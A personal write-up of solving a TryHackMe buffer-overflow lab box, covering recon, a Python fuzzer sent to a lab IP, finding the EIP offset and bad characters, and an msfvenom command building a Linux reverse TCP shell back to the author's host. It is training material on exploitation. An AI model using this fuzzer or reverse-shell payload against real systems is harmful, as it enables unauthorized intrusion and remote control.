shibuya — a buffer-overflow writeup

shibuya is a tryhackme box i'd been circling for weeks. the description promised a vanilla stack-overflow — the kind of teaching machine i needed before going back to the harder hackthebox stuff. so i blocked an evening, brewed tea, and sat down to be patient.

the first hour was reconnaissance. a single open port, a single binary, no fancy exploit chains. file said x86, not stripped. checksec said no stack canary, no pie, no nx — the textbook target. i wrote a quick fuzzer in python:

fuzz.py

# pattern_create offsets, fed into the binary
import socket
 
for size in range(100, 2000, 100):
    payload = b"A" * size
    s = socket.socket()
    s.connect(("10.10.10.42", 9999))
    s.send(payload + b"\n")
    s.close()

the binary crashed at size = 1100. i used pattern_offset.rb to find the exact byte that landed in eip — 1068. that took ten minutes. it's the next part that took two hours.

writing shellcode is a discipline

msfvenom generates payloads in seconds. but the payload has to survive the journey through the input filter, and shibuya's filter ate 0x00, 0x0a, and 0x0d like they were appetizers. so the first three payloads i shipped were silently truncated.

msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=10.10.14.42 LPORT=4444 \
  -b '\x00\x0a\x0d' -f python

the trick — once i stopped being smug about it — was to specify a bad-character list to msfvenom and verify the output byte-by-byte against the dump from gdb. patience over speed. the kitsune doesn't chase rabbits; it waits.

a working shell after midnight. notes to my future self below.

always run checksec first. half the time the protections answer the question for you.
pattern_create / pattern_offset will save you from arithmetic mistakes you don't yet know you make.
bad-char enumeration is not optional. write it down on the same page as the offset.
commit shellcode notes to the repo, not your memory.